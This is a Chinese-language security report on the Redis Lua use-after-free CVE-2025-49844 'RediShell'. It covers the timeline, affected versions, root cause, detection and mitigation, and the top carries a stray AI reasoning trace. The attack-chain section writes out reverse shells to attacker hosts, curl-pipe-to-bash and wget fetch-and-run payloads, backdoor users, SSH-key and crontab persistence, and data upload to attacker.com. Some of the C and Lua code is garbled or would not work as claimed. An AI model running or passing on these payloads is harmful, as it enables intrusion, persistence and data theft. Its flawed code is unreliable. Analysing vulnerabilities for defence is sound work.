CVE-2025-49844"RediShell"安全研究报告
嗯,用户让我帮忙总结一篇文章,控制在一百个字以内,而且不需要用特定的开头。我先看看文章内容。 文章讲的是Redis中的一个严重漏洞,CVE-2025-49844,代号RediShell。这是一个Use-After-Free漏洞,影响所有支持Lua脚本的Redis版本,存在超过13年。攻击者可以通过特制的Lua脚本远程执行代码,CVSS评分10.0。 用户可能需要一个简洁的总结,用于快速了解漏洞情况。我得抓住关键点:漏洞类型、影响范围、状态、修复版本和攻击条件。 确保不超过100字,直接描述内容。不需要使用“文章总结”之类的开头。 现在组织语言:Redis Lua解释器中的Use-After-Free漏洞导致远程代码执行,影响所有支持Lua脚本的版本(约13年),已修复需升级到指定版本。 </think> Redis Lua解释器中的Use-After-Free漏洞导致远程代码执行,影响所有支持Lua脚本的版本(约13年),已修复需升级到指定版本。 2025-11-7 03:52:5 Author: www.freebuf.com(查看原文) 阅读量:1 收藏

漏洞类型: Use-After-Free (UAF) in Lua Interpreter → Remote Code Execution
影响范围: 所有支持Lua脚本的Redis版本(约13年)
状态: 已修复,需立即升级

1. 摘要

CVE-2025-49844,代号"RediShell",是Redis数据库中发现的一个严重安全漏洞,允许已认证的攻击者通过特制的Lua脚本实现远程代码执行。该漏洞存在超过13年,影响所有支持Lua脚本的Redis版本,CVSS评分达到10.0的最高严重级别。

关键信息

  • 发现者: Wiz研究团队

  • 报告时间: 2025年5月16日

  • 公开时间: 2025年10月3日

  • 攻击前置条件: 需要Redis认证权限和Lua脚本执行能力

  • 现实威胁: 约33万个Redis实例暴露在互联网,其中6万个未启用认证

  • 修复版本: Redis 6.2.20, 7.2.11, 7.4.6, 8.0.4, 8.2.2及更高版本

2. 漏洞背景

2.1 Redis简介

Redis是一个开源的内存数据结构存储系统,常用作数据库、缓存和消息代理。它支持多种数据结构,如字符串、哈希、列表、集合等。Redis以其高性能和丰富的功能特性而闻名,被广泛应用于各种场景中。

2.2 Lua脚本引擎

Redis从2.6版本开始引入Lua脚本支持,允许用户编写Lua脚本在服务器端执行。这提供了:

  • 原子性: 脚本执行过程中不会被其他命令中断

  • 性能: 减少网络往返时间

  • 功能扩展: 实现复杂的数据操作逻辑

Redis嵌入的是Lua 5.1解释器,运行在沙箱环境中,理论上限制了Lua脚本的系统访问能力。

2.3 脚本执行流程

  1. 客户端发送EVALEVALSHA命令

  2. Redis解析Lua脚本

  3. 创建Lua虚拟机环境

  4. 执行脚本逻辑

  5. 返回结果给客户端

3. 时间线

3.1 发现阶段

  • 2025年5月16日: Wiz研究团队在Pwn2Own Berlin场景中发现漏洞并向Redis私有报告

  • 2025年5月-9月: Redis团队与Wiz合作进行漏洞分析和修复开发

3.2 修复和披露阶段

  • 2025年10月3日: Redis发布安全公告和修复版本

    • Redis 6.2.20

    • Redis 7.2.11

    • Redis 7.4.6

    • Redis 8.0.4

    • Redis 8.2.2

  • 2025年10月3日: GitHub Security Advisory (GHSA-4789-qfc9-5f9q) 发布

  • 2025年10月6日: Wiz发布公开研究报告,命名为"RediShell"

3.3 社区响应

  • 2025年10月7日: 多家安全厂商发布分析和预警

  • 2025年10月下旬: 各云服务商完成托管服务修复

  • 2025年10月27/30日: Redis Software企业版发布具体修复版本

4. 影响范围

4.1 受影响版本

Redis开源版本:

  • Redis < 6.2.20

  • Redis < 7.2.11

  • Redis < 7.4.6

  • Redis < 8.0.4

  • Redis < 8.2.2

Redis企业版:

  • < 7.22.2-20

  • < 7.8.6-207

  • < 7.4.6-272

  • < 7.2.4-138

  • < 6.4.2-131

Valkey (Redis分支):

  • Valkey < 7.2.11

  • Valkey < 8.0.6

  • Valkey < 8.1.4

4.2 实际影响统计

  • 互联网暴露实例: 约330,000个

  • 未认证实例: 约60,000个

  • 云环境使用率: 75%

  • 容器化部署: 57%

4.3 业务影响

  • 数据泄露: 可访问Redis中存储的所有数据

  • 服务中断: 可能导致Redis服务崩溃

  • 系统控制: 获得宿主机的完整控制权

  • 横向移动: 作为攻击其他系统的跳板

5. 技术分析

5.1 Redis内存管理架构

5.1.1 jemalloc内存分配器

Redis采用jemalloc作为其主要的内存分配器,这是一个高性能的内存管理库,提供:

  • 内存池管理: 通过内存池减少内存碎片并优化性能

  • 动态内存分配: 根据需要动态调整内存分配策略

  • 垃圾回收优化: 高效的内存回收机制

/* Redis 内存分配函数,使用 jemalloc 进行内存分配 */
void *redis_malloc(size_t size) {
    return malloc(size);  // jemalloc 实际上替换了 malloc 函数
}

/* Redis 内存释放函数,释放对象内存 */
void redis_free(void *ptr) {
    free(ptr);  // jemalloc 执行内存回收
}

5.1.2 Lua引擎内存管理

Lua引擎拥有独立的内存管理系统,通过luaM_malloc函数进行内存分配:

/* Lua 引擎中的内存分配函数 */
void *luaM_malloc(lua_State *L, size_t size) {
    return malloc(size);  // Lua 引擎通过 malloc 分配内存
}

/* Lua 引擎管理内存对象的结构 */
typedef struct TString {
    size_t len;
    char *str;
} TString;

/* Lua 引擎创建新字符串对象 */
TString *luaS_new(lua_State *L, const char *str) {
    size_t len = strlen(str);
    TString *ts = (TString *) luaM_malloc(L, sizeof(TString) + len + 1);
    ts->len = len;
    memcpy(ts->str, str, len + 1);
    return ts;
}

5.2 根本原因分析

CVE-2025-49844的核心问题是Redis嵌入的Lua 5.1解释器中的内存管理缺陷,具体表现为Redis内存管理与Lua引擎之间的交互错误。

5.2.1 内存生命周期管理缺陷

Lua引擎分配内存时,某些内存对象(如脚本名称、字符串)并没有在Redis的内存池中被正确管理。当Lua对象被创建后,如果没有被引用,它们会被垃圾回收器回收。此时,Redis的内存池中的TString对象被释放,但Lua引擎继续尝试访问这些已经释放的内存区域。

5.2.2 源码级问题分析

问题位置:deps/lua/src/lparser.c中的luaY_parser()函数

根本机制:

/* 易受攻击的代码逻辑(简化版) */
LexState *luaY_parser(lua_State *L, ZIO *z, Mbuffer *buff, const char *name) {
    // 为chunk name创建TString对象
    TString *tname = luaS_new(L, name);

    // 关键缺陷:TString未被压栈锚定,不是GC根对象
    luaX_setinput(L, &ls, z, tname);

    // 在解析过程中,如果触发垃圾回收...
    // tname可能被提前释放,但解析器仍持有其指针
    // 后续解引用形成Use-After-Free

    return &ls;
}

内存分配流程问题:

  1. Lua引擎通过luaS_new()创建TString对象

  2. 该对象在Lua栈中没有被正确锚定

  3. jemalloc在垃圾回收时释放了该对象

  4. 词法器/解析器仍然持有已释放对象的指针

  5. 访问已释放内存导致Use-After-Free

5.2.3 修复方案

修复后的安全逻辑:

/* 修复后的安全逻辑 */
LexState *luaY_parser(lua_State *L, ZIO *z, Mbuffer *buff, const char *name) {
    TString *tname = luaS_new(L, name);

    // 关键修复:将TString压栈锚定,成为GC根对象
    setsvalue2s(L, L->top, tname);  // 压栈
    incr_top(L);                    // 提升栈顶

    luaX_setinput(L, &ls, z, tname);

    // 解析完成后安全弹栈
    L->top--;
    return &ls;
}

官方修复原理:

/* 修复前:Lua 对象未保持有效引用,可能被垃圾回收 */
TString *tname = luaS_new(L, name);
luaX_setinput(L, name);

/* 修复后:Lua 对象在回收前强制保持引用 */
lua_pushstring(L, name);  /* 压栈并延长生命周期 */
TString *tname = luaS_new(L, name);
luaX_setinput(L, name);
lua_pop(L, 1);  /* 清理栈 */

5.3 漏洞触发机制

5.3.1 内存管理错误触发序列

  1. TString未锚定: Redis在调用Lua解析器时为脚本名创建TString对象,但未将其压栈锚定

  2. GC竞态条件: 在解析过程中,如果触发垃圾回收,jemalloc可能提前释放未锚定的TString

  3. UAF发生: 词法器/解析器仍持有已释放TString的指针,形成Use-After-Free

  4. 沙箱逃逸: 攻击者通过精确的内存布局控制,利用UAF突破Lua沙箱限制

  5. RCE实现: 最终在宿主机上执行任意代码

5.3.2 攻击者利用的内存操作

攻击者通过构造特制的Lua脚本来控制内存分配和垃圾回收的时序:

-- 攻击者构造的 Lua 脚本(触发 Use-After-Free 错误)
local script_name = "malicious_script"  -- 创建脚本名称
local script_data = "os.execute('bash -i >& /dev/tcp/attacker_ip/4444 0>&1')"  -- 反向 shell

-- Redis 执行恶意脚本,导致 Lua 引擎访问已释放的内存
redis.call('EVAL', script_data, 0)

-- 脚本执行后 Lua 对象的内存已被回收,但 Lua 引擎继续访问并执行命令
local result = redis.call('EVAL', script_name, 0)

5.3.3 沙箱逃逸机制

通过利用Lua中的Use-After-Free错误,攻击者能够:

  1. 逃逸Lua沙箱的内存限制

  2. 获得对宿主机内存的访问权限

  3. 执行系统级命令

  4. 建立持久化的反向连接

-- Lua 执行反向连接的示例
os.execute("bash -i >& /dev/tcp/attacker_ip/4444 0>&1")

6. 漏洞成因

6.1 内存生命周期管理问题

6.1.1 对象生命周期管理缺陷

  • 对象生命周期: TString对象的生命周期管理不当,存在过早释放的问题

  • GC时机: 垃圾回收在对象仍在使用时触发,特别是在Lua解析过程中

  • 引用管理: 缺乏有效的引用计数或锚定机制来保护关键对象

6.1.2 jemalloc与Lua引擎的交互冲突

  • 内存分配器隔离: Redis的jemalloc和Lua引擎的内存管理器之间存在隔离

  • 回收同步问题: 两个内存管理系统之间的垃圾回收同步机制不完善

  • 对象追踪: 缺乏跨系统的对象生命周期追踪机制

6.1.3 具体的技术缺陷

// 问题代码的深层分析
// 在luaY_parser函数中,TString对象创建后:
TString *tname = luaS_new(L, name);  // 1. Lua引擎分配内存
// 问题:该对象没有在Lua栈中被锚定
luaX_setinput(L, &ls, z, tname);     // 2. 传递给词法器使用
// 危险:在解析过程中,如果触发GC,tname可能被释放
// 但词法器仍然持有tname指针

6.2 Lua沙箱限制与逃逸机制

6.2.1 Lua沙箱设计初衷

  • 安全隔离: Lua脚本应该在受控的沙箱环境中执行

  • 权限限制: 沙箱限制了文件系统访问、网络操作等系统调用

  • 资源控制: 限制CPU和内存使用,防止恶意脚本消耗过多资源

6.2.2 沙箱边界与逃逸路径

  • 内存边界: 沙箱通过内存隔离来保护宿主系统

  • API限制: 禁用危险的系统调用和函数

  • 逃逸路径: UAF漏洞提供了绕过沙箱内存限制的途径

  • 权限提升: 通过内存破坏可以获得更高的执行权限

6.2.3 沙箱逃逸的技术原理

// 沙箱逃逸的技术原理
// 1. UAF破坏了内存隔离
// 2. 攻击者可以控制已释放内存的内容
// 3. 通过精心构造的内存布局,劫持控制流
// 4. 绕过Lua沙箱的限制,执行任意代码

// 典型的逃逸载荷示例
os.execute("bash -i >& /dev/tcp/attacker_ip/4444 0>&1");

6.3 解析器设计缺陷

6.3.1 时序问题

  • 解析时序: 解析过程中的内存管理时序错误

  • GC竞争: 垃圾回收与解析操作的竞争条件

  • 异步清理: 内存清理与对象使用的异步性导致的问题

6.3.2 状态管理缺陷

  • 解析器状态: 解析器状态与GC状态不同步

  • 对象引用: 对象引用计数的不一致性

  • 生命周期: 对象生命周期管理的混乱

6.3.3 资源清理机制不足

  • 清理策略: 缺乏适当的资源清理策略

  • 错误处理: 内存分配失败时的错误处理不完善

  • 恢复机制: 内存损坏后的恢复机制缺失

6.4 攻击面分析

6.4.1 攻击向量

  • EVAL命令: 通过EVAL命令直接执行恶意Lua脚本

  • EVALSHA命令: 通过缓存的脚本SHA1值执行

  • SCRIPT LOAD: 预加载恶意脚本到Redis缓存

  • FUNCTION/FCALL: Redis 7.0+的函数引擎也是攻击面

6.4.2 攻击前提条件

  1. 网络访问: 能够连接到目标Redis实例

  2. 认证绕过: 拥有有效的认证凭据或目标未启用认证

  3. 脚本权限: 具备Lua脚本执行权限

  4. 时序控制: 能够精确控制内存分配和垃圾回收的时序

6.4.3 攻击复杂度

  • 技术门槛: 中等,需要理解Lua和Redis内部机制

  • 实施难度: 高,需要精确的时序控制

  • 成功率: 在满足前置条件下较高

7. 利用方式

7.1 主要攻击途径

  • EVAL- 执行Lua脚本

  • EVALSHA- 执行缓存的Lua脚本

  • SCRIPT LOAD- 加载Lua脚本到缓存

  • FUNCTION/FCALL- Redis 7.0+的函数引擎

7.2 攻击前提条件

  1. 能够连接到Redis服务器

  2. 拥有有效的认证凭据(或实例未启用认证)

  3. 具备Lua脚本执行权限

  4. 能够精确控制内存分配时序

7.3 利用复杂度

  • 攻击向量: 远程网络攻击

  • 攻击复杂度: 中等(需要时序控制)

  • 权限要求: 低(需要Redis认证)

  • 用户交互: 不需要

8. 攻击链分析

8.1 攻击链概述

攻击者 → 网络侦察 → Redis认证 → 特制Lua脚本 → 内存操作触发 → 解析期UAF → Lua沙箱逃逸 → 宿主机RCE → 持久化控制

8.2 详细攻击步骤

阶段1: 侦察和信息收集

  1. 端口扫描和指纹识别

# 识别Redis实例
nmap -p 6379 --script redis-info target.com
# 版本识别
redis-cli -h target.com INFO server
  1. 配置分析

    • 确定Redis版本和配置

    • 检查认证状态(AUTH/ACL)

    • 评估网络暴露情况

  2. 权限评估

    • 测试默认账户和弱口令

    • 检查ACL配置和权限设置

    • 验证Lua脚本执行能力

阶段2: 初始访问获取

  1. 认证绕过或利用

# 尝试弱口令
redis-cli -h target.com -a password123
# 利用未认证的实例
redis-cli -h target.com -p 6379
  1. Lua执行能力验证

-- 测试基本Lua功能
return "Lua script execution test"
-- 验证系统调用限制
return os.execute("echo test")
  1. 攻击环境准备

    • 收集目标系统信息

    • 准备恶意载荷

    • 设置监听环境

阶段3: 内存操作和UAF触发

  1. 构造内存压力脚本

-- 创建大量临时对象制造内存压力
local function create_memory_pressure()
    local tables = {}
    for i = 1, 1000 do
        local large_str = string.rep("A", 10000)
        table.insert(tables, large_str)
    end
    return tables
end
  1. 控制垃圾回收时序

-- 精确控制GC触发时机
for i = 1, 100 do
    local chunk_name = string.format("exploit_chunk_%d", i)
    local code = string.format("return '%s'", chunk_name)

    -- 在适当时机触发GC
    if i % 10 == 0 then
        collectgarbage("collect")
    end

    local func, err = load(code, chunk_name)
    if func then func() end
end
  1. UAF条件触发

-- 触发Use-After-Free的关键操作
local function trigger_uaf()
    local chunk_names = {}
    for j = 1, 10 do
        local name = "uaf_trigger_" .. j
        local code = "return '" .. name .. "'"
        table.insert(chunk_names, {name = name, code = code})
    end

    for _, chunk in ipairs(chunk_names) do
        local func, err = loadstring(chunk.code, chunk.name)
        if func then
            local result = func()
            -- 强制GC释放未锚定的对象
            collectgarbage("collect")
        end
    end
end

阶段4: 沙箱逃逸和代码执行

  1. 内存布局控制

    • 通过UAF控制关键内存区域

    • 劫持函数指针和控制流

    • 破坏Lua沙箱的内存隔离

  2. 系统命令执行

-- 沙箱逃逸后执行系统命令
-- 建立反向连接
os.execute("bash -i >& /dev/tcp/attacker_ip/4444 0>&1")

-- 下载并执行恶意载荷
os.execute("curl -s http://attacker.com/payload.sh | bash")

-- 添加后门用户
os.execute("useradd -p $(openssl passwd -1 password) backdoor")
  1. 权限提升

# 利用系统漏洞提升权限
# 搜索本地提权漏洞
searchsploit privilege escalation

# 利用内核漏洞
./exploit_kernel_vuln

阶段5: 持久化控制和横向移动

  1. 建立持久化访问

# 添加SSH密钥
mkdir -p ~/.ssh
echo "attacker_ssh_public_key" >> ~/.ssh/authorized_keys

# 创建定时任务
echo "*/5 * * * * curl -s http://attacker.com/check.sh | bash" | crontab -

# 安装rootkit
./install_rootkit.sh
  1. 数据窃取

# 转储Redis数据
redis-cli --rdb /tmp/dump.rdb

# 搜索敏感文件
find / -name "*.conf" -o -name "*.key" -o -name "*.pem" 2>/dev/null

# 收集系统信息
ps aux | grep redis
netstat -tlnp
  1. 横向移动

# 扫描内网其他Redis实例
nmap -sV 192.168.1.0/24 -p 6379

# 利用SSH密钥移动
ssh -i private_key user@target2

# 利用Redis凭证传播
redis-cli -h target2 -a stolen_password

8.3 攻击载荷示例

8.3.1 基础反向连接载荷

-- 简单的反向连接
os.execute("bash -i >& /dev/tcp/attacker.com/4444 0>&1")

8.3.2 高级持久化载荷

-- 下载并执行复杂恶意软件
os.execute([[
wget -q http://attacker.com/advanced_payload.tar.gz -O /tmp/payload.tar.gz &&
cd /tmp &&
tar -xzf payload.tar.gz &&
nohup ./payload.bin > /dev/null 2>&1 &
rm -f payload.tar.gz
]])

8.3.3 数据窃取载荷

-- 转储敏感数据到攻击者服务器
os.execute([[
redis-cli --rdb /tmp/redis_dump.rdb &&
curl -F "file=@/tmp/redis_dump.rdb" http://attacker.com/upload.php &&
rm -f /tmp/redis_dump.rdb
]])

8.4 攻击成功率影响因素

  1. 技术因素

    • Redis版本和配置

    • 系统内存管理策略

    • 编译器和架构差异

  2. 环境因素

    • 网络延迟和稳定性

    • 系统负载和资源可用性

    • 安全软件和监控 presence

  3. 攻击者因素

    • 对漏洞机制的理解程度

    • 内存操作和控制能力

    • 载荷设计和执行技巧

9. 环境搭建与复现

9.1 测试环境要求

  • Docker 20.10+

  • Redis 8.2.1 (易受攻击版本)

  • Redis 8.2.2 (修复版本)

  • 隔离的网络环境

9.2 Docker Compose配置

version: '3.8'
services:
  redis-vulnerable:
    image: redis:8.2.1
    container_name: redis-vulnerable
    ports: ["6379:6379"]
    command: ["redis-server", "--protected-mode", "no", "--bind", "0.0.0.0"]

  redis-fixed:
    image: redis:8.2.2
    container_name: redis-fixed
    ports: ["6380:6379"]
    command: ["redis-server", "--protected-mode", "no", "--bind", "0.0.0.0"]

9.3 测试脚本示例

-- CVE-2025-49844 概念验证脚本
-- 仅用于安全研究和授权测试

local function create_memory_pressure()
    local tables = {}
    for i = 1, 100 do
        local large_str = string.rep("A", 10000)
        table.insert(tables, large_str)
    end
    return tables
end

local function test_chunk_names()
    local chunk_names = {
        "test_chunk_1",
        "long_chunk_name_" .. string.rep("x", 100),
        "chunk_with_special_chars_!@#$%^&*()",
        "unicode_chunk_name_中文测试"
    }

    for i, name in ipairs(chunk_names) do
        local code = string.format("return '%s'", name)
        collectgarbage("collect")  -- 强制垃圾回收

        local func, err = load(code, name)
        if func then
            local result = func()
            print(string.format("Chunk name test %d: %s -> %s", i, name, result))
        end
    end
end

return test_chunk_names()

9.4 安全注意事项

  • 仅在隔离环境中测试

  • 不要在生产环境运行PoC

  • 确保测试网络与生产网络隔离

  • 测试完成后立即清理环境

10. 检测方法

10.1 版本检测

快速检查命令:

# 检查Redis版本
redis-cli INFO server | grep redis_version

# 检查是否为易受攻击版本
redis-cli --version | grep -E "6\.2\.[0-9]|7\.[0-4]\.|8\.[0-1]\."

自动化检测脚本:

#!/bin/bash
# CVE-2025-49844 检测脚本

VULNERABLE_VERSIONS=(
    "6.2.19" "6.2.18" "7.2.10" "7.4.5" "8.0.3" "8.2.1"
)

check_redis_version() {
    local host=$1
    local port=$2

    version=$(redis-cli -h $host -p $port INFO server 2>/dev/null |
             grep "redis_version:" | cut -d: -f2 | tr -d '\r')

    if [[ "$version" == *"6.2"* ]] || [[ "$version" == *"7."* ]] ||
       [[ "$version" == *"8.0"* ]] || [[ "$version" == *"8.1"* ]] ||
       [[ "$version" == *"8.2.1"* ]]; then
        echo "❌ 易受攻击的版本: $version"
        return 1
    else
        echo "✅ 安全版本: $version"
        return 0
    fi
}

10.2 异常行为监控

Redis日志监控:

# 监控Lua脚本执行
redis-cli MONITOR | grep -E "(EVAL|EVALSHA|SCRIPT|FUNCTION)"

# 检查异常的脚本执行频率
grep "EVAL\|EVALSHA" /var/log/redis/redis-server.log |
awk '{print $1}' | sort | uniq -c | sort -nr

系统级监控:

# 监控Redis进程的异常行为
ps aux | grep redis-server

# 检查Redis进程的子进程
pstree -p $(pgrep redis-server)

# 监控网络连接
netstat -tlnp | grep 6379
lsof -i :6379

10.3 SIEM集成规则

Splunk查询:

index=os sourcetype=redis
| search ("EVAL" OR "EVALSHA" OR "SCRIPT LOAD" OR "FUNCTION")
| stats count by host, src_ip, user
| where count > 10
| eval risk_score = case(count > 100, "高", count > 50, "中", count > 10, "低")
| table host, src_ip, count, risk_score

Falco安全规则:

- rule: Redis Spawned Shell
  desc: Detect shell spawned from redis-server (possible sandbox escape)
  condition: >
    spawned_process and
    proc.pname in (redis-server) and
    proc.name in (sh, bash, dash, zsh)
  output: "Redis spawned shell (user=%user.name proc=%proc.name parent=%proc.pname cmd=%proc.cmdline)"
  priority: CRITICAL

11. 防护措施

11.1 立即行动项(24小时内)

11.1.1 升级Redis版本

Ubuntu/Debian:

# 更新包列表
sudo apt update

# 升级Redis到最新版本
sudo apt install redis-server

# 验证版本
redis-server --version

Docker环境:

# 更新到修复版本
docker pull redis:8.2.2

# 重新创建容器
docker stop redis-container
docker rm redis-container
docker run -d --name redis-container redis:8.2.2

11.1.2 临时缓解措施

ACL禁用脚本执行:

# 连接到Redis
redis-cli

# 禁用默认用户的脚本权限
ACL SETUSER default on +@all -@scripting -eval -evalsha

# 或创建受限用户
ACL SETUSER restricted_user on >StrongPassword123 +@read +@write -@scripting

# 验证权限
ACL DRYRUN restricted_user EVAL "return 1" 0

重命名危险命令:

# 在redis.conf中添加
rename-command EVAL ""
rename-command EVALSHA ""
rename-command SCRIPT ""
rename-command FUNCTION ""
rename-command FCALL ""

# 重启Redis服务
sudo systemctl restart redis

11.2 短期防护措施(1周内)

11.2.1 网络加固

防火墙规则:

# 使用iptables限制Redis访问
sudo iptables -A INPUT -p tcp --dport 6379 -s 192.168.1.0/24 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 6379 -j DROP

# 保存规则
sudo iptables-save > /etc/iptables/rules.v4

TLS加密配置:

# 生成证书
openssl req -x509 -newkey rsa:2048 -keyout redis.key -out redis.crt -days 365 -nodes

# 配置redis.conf
tls-port 6380
port 0
tls-cert-file /path/to/redis.crt
tls-key-file /path/to/redis.key
tls-ca-cert-file /path/to/ca.crt

11.2.2 访问控制强化

强制认证:

# 在redis.conf中设置强密码
requirepass "YourVeryStrongPassword2025!"

# 或使用ACL用户
ACL SETUSER admin on >AdminPassword2025 +@all

# 启用保护模式
protected-mode yes
bind 127.0.0.1 10.0.0.1

11.3 长期安全策略

11.3.1 监控和审计

Redis监控配置:

# 在redis.conf中启用监控
logfile /var/log/redis/redis-server.log
loglevel notice
syslog-enabled yes

# 启用慢查询日志
slowlog-log-slower-than 10000
slowlog-max-len 128

容器安全:

FROM redis:8.2.2

# 创建非root用户
RUN groupadd -r redis && useradd -r -g redis redis

# 设置正确权限
RUN mkdir -p /data && chown -R redis:redis /data

# 切换到非root用户
USER redis

# 健康检查
HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \
  CMD redis-cli ping || exit 1

12. 修复建议

12.1 官方修复版本

Redis开源版本:

  • 6.2.20 (2025-10-03)

  • 7.2.11 (2025-10-03)

  • 7.4.6 (2025-10-03)

  • 8.0.4 (2025-10-03)

  • 8.2.2 (2025-10-03)

Redis企业版:

  • 7.22.2-20+

  • 7.8.6-207+

  • 7.4.6-272+

  • 7.2.4-138+

  • 6.4.2-131+

Valkey:

  • 7.2.11+

  • 8.0.6+

  • 8.1.4+

12.2 修复策略

  1. 立即升级: 升级到最新修复版本

  2. 测试验证: 在测试环境验证修复效果

  3. 生产部署: 分批次升级生产环境

  4. 监控观察: 升级后密切监控服务状态

13. 修复分析

13.1 核心修复内容

修复位于deps/lua/src/lparser.c文件中的luaY_parser函数:

13.1.1 修复前的问题代码

/* 易受攻击的原始代码 */
LexState *luaY_parser(lua_State *L, ZIO *z, Mbuffer *buff, const char *name) {
    struct FuncState fs;
    TString *tname = luaS_new(L, name);  // 创建TString对象

    // 关键问题:tname没有被压栈锚定
    luaX_setinput(L, &fs, z, tname);     // 传递给词法器
    // 在解析过程中,如果触发GC,tname可能被释放
    // 但词法器仍然持有tname指针,形成UAF
    // ...

    return &fs;
}

13.1.2 修复后的安全代码

/* 修复后的安全代码 */
LexState *luaY_parser(lua_State *L, ZIO *z, Mbuffer *buff, const char *name) {
    struct FuncState fs;
    TString *tname = luaS_new(L, name);  // 创建TString对象

    // 关键修复:将TString压栈锚定,成为GC根对象
    setsvalue2s(L, L->top, tname);      // 压栈操作
    incr_top(L);                        // 提升栈顶

    luaX_setinput(L, &fs, z, tname);     // 安全传递给词法器
    // 现在tname被栈引用,GC不会回收它
    // ...

    // 解析完成后安全弹栈
    L->top--;
    return &fs;
}

13.1.3 替代修复方案(官方文档中提到的方案)

/* 另一种修复方式 - 使用lua_pushstring */
LexState *luaY_parser(lua_State *L, ZIO *z, Mbuffer *buff, const char *name) {
    struct FuncState fs;

    // 先将name压栈,确保不会被GC回收
    lua_pushstring(L, name);            // 压栈延长生命周期
    TString *tname = luaS_new(L, name); // 创建TString对象
    luaX_setinput(L, &fs, z, tname);    // 传递给词法器

    // 解析过程...

    lua_pop(L, 1);                      // 清理栈,弹出一个元素
    return &fs;
}

13.2 修复机制的技术分析

13.2.1 内存生命周期保护

  • 栈锚定机制: 通过将TString对象压入Lua栈,确保其在垃圾回收时被视为可达对象

  • GC根对象: 栈中的对象被标记为GC根对象,不会被垃圾回收器回收

  • 生命周期延长: 对象的生命周期被延长到解析完成之后

13.2.2 垃圾回收安全性

// 修复前:危险的内存管理
TString *tname = luaS_new(L, name);
luaX_setinput(L, &ls, z, tname);
// 危险:tname可能被GC回收,但ls仍然持有指针

// 修复后:安全的内存管理
TString *tname = luaS_new(L, name);
setsvalue2s(L, L->top, tname);  // 栈引用保护
incr_top(L);                    // 确保引用有效
luaX_setinput(L, &ls, z, tname);
// 安全:tname被栈保护,不会被GC回收
L->top--;                        // 解析完成后释放引用

13.2.3 性能影响分析

  • 栈操作开销: 压栈和弹栈操作的性能开销极小(微秒级)

  • 内存使用: 临时增加的栈使用量很小(通常几十字节)

  • 兼容性: 修复完全向后兼容,不影响现有功能

13.3 修复验证

13.3.1 代码审查验证

#!/bin/bash
# 补丁代码审查脚本

echo "=== CVE-2025-49844 修复代码审查 ==="

# 检查修复是否应用
REPAIR_FILE="/path/to/redis/src/deps/lua/src/lparser.c"

if [ -f "$REPAIR_FILE" ]; then
    echo "检查修复代码..."
    grep -A 10 -B 5 "setsvalue2s\|lua_pushstring" "$REPAIR_FILE"

    # 检查是否包含关键的栈操作
    if grep -q "setsvalue2s.*L->top.*tname" "$REPAIR_FILE"; then
        echo " 发现关键修复代码:setsvalue2s栈锚定"
    elif grep -q "lua_pushstring.*name" "$REPAIR_FILE"; then
        echo " 发现替代修复代码:lua_pushstring保护"
    else
        echo " 未发现修复代码,可能存在风险"
    fi
else
    echo " 找不到源码文件,请确认Redis安装路径"
fi

13.3.2 功能验证测试

#!/bin/bash
# 补丁功能验证脚本

echo "=== CVE-2025-49844 修复功能验证 ==="

# 1. 版本检查
version=$(redis-cli INFO server 2>/dev/null | grep "redis_version:" | cut -d: -f2 | tr -d '\r')
if [ -n "$version" ]; then
    echo "Redis版本: $version"

    # 检查是否为修复版本
    if [[ "$version" =~ ^(6\.2\.2[0-9]|7\.2\.1[1-9]|7\.4\.[6-9]|8\.0\.[4-9]|8\.2\.[2-9]|8\.[3-9]\.) ]]; then
        echo " 版本已修复"
    else
        echo "  版本可能易受攻击,建议升级"
    fi
else
    echo " 无法连接到Redis服务"
    exit 1
fi

# 2. 安全配置检查
echo "检查安全配置..."
redis-cli CONFIG GET requirepass 2>/dev/null | tail -1
redis-cli CONFIG GET protected-mode 2>/dev/null | tail -1

# 3. 权限检查
echo "检查脚本权限..."
if redis-cli ACL DRYRUN default EVAL "return 1" 0 2>/dev/null | grep -q "OK"; then
    echo "  警告:默认用户仍可执行脚本"
else
    echo " 脚本执行权限已限制"
fi

# 4. 连接测试
if redis-cli ping 2>/dev/null | grep -q "PONG"; then
    echo " Redis服务正常"
else
    echo " Redis服务异常"
fi

echo "验证完成"

13.3.3 PoC对比测试

#!/bin/bash
# PoC对比验证脚本(仅在授权环境使用)

echo "=== PoC对比验证测试 ==="

VULNERABLE_HOST="localhost"
VULNERABLE_PORT=6379
FIXED_HOST="localhost"
FIXED_PORT=6380

# 测试易受攻击版本
echo "测试易受攻击版本 (Redis 8.2.1)..."
if redis-cli -h $VULNERABLE_HOST -p $VULNERABLE_PORT ping 2>/dev/null | grep -q "PONG"; then
    echo "易受攻击版本可访问"
    # 在这里可以运行PoC脚本(仅在授权环境)
else
    echo "易受攻击版本不可访问"
fi

# 测试修复版本
echo "测试修复版本 (Redis 8.2.2)..."
if redis-cli -h $FIXED_HOST -p $FIXED_PORT ping 2>/dev/null | grep -q "PONG"; then
    echo "修复版本可访问且稳定"
    # 验证修复效果
else
    echo "修复版本不可访问"
fi

13.4 补丁影响评估

13.4.1 安全性改进

  • 完全消除UAF风险: 通过栈锚定彻底解决了Use-After-Free问题

  • 保持沙箱完整性: 确保Lua沙箱的内存隔离不被破坏

  • 向后兼容性: 修复不破坏现有功能和API

13.4.2 性能影响

  • CPU开销: 栈操作的开销可忽略不计(< 0.1%)

  • 内存开销: 临时增加的栈使用量极小

  • 网络延迟: 对整体性能影响微乎其微

13.4.3 兼容性考虑

  • API兼容: 所有现有的Lua脚本API保持不变

  • 配置兼容: Redis配置文件无需修改

  • 客户端兼容: 所有Redis客户端无需更新

14. 风险评估

14.1 技术风险评估

CVSS评分: 10.0 (Critical)

  • 攻击向量: 网络 (N)

  • 攻击复杂度: 低 (L)

  • 权限要求: 低 (L)

  • 用户交互: 不需要 (N)

  • 影响范围: 已改变 (C)

  • 机密性影响: 高 (H)

  • 完整性影响: 高 (H)

  • 可用性影响: 高 (H)

14.2 业务影响分析

直接影响:

  • 数据泄露风险

  • 服务中断可能

  • 系统完全被控制

  • 横向移动威胁

间接影响:

  • 合规性违规

  • 业务声誉损害

  • 经济损失

  • 客户信任度下降

14.3 环境风险分级

高风险环境:

  • 公网暴露的Redis实例

  • 未启用认证的服务器

  • 关键业务系统

  • 敏感数据存储

中风险环境:

  • 内网暴露但有限制的实例

  • 启用认证但权限过宽的配置

  • 非核心业务系统

低风险环境:

  • 完全隔离的测试环境

  • 严格访问控制的生产环境

  • 已禁用Lua功能的实例

15. 总结

15.1 关键发现总结

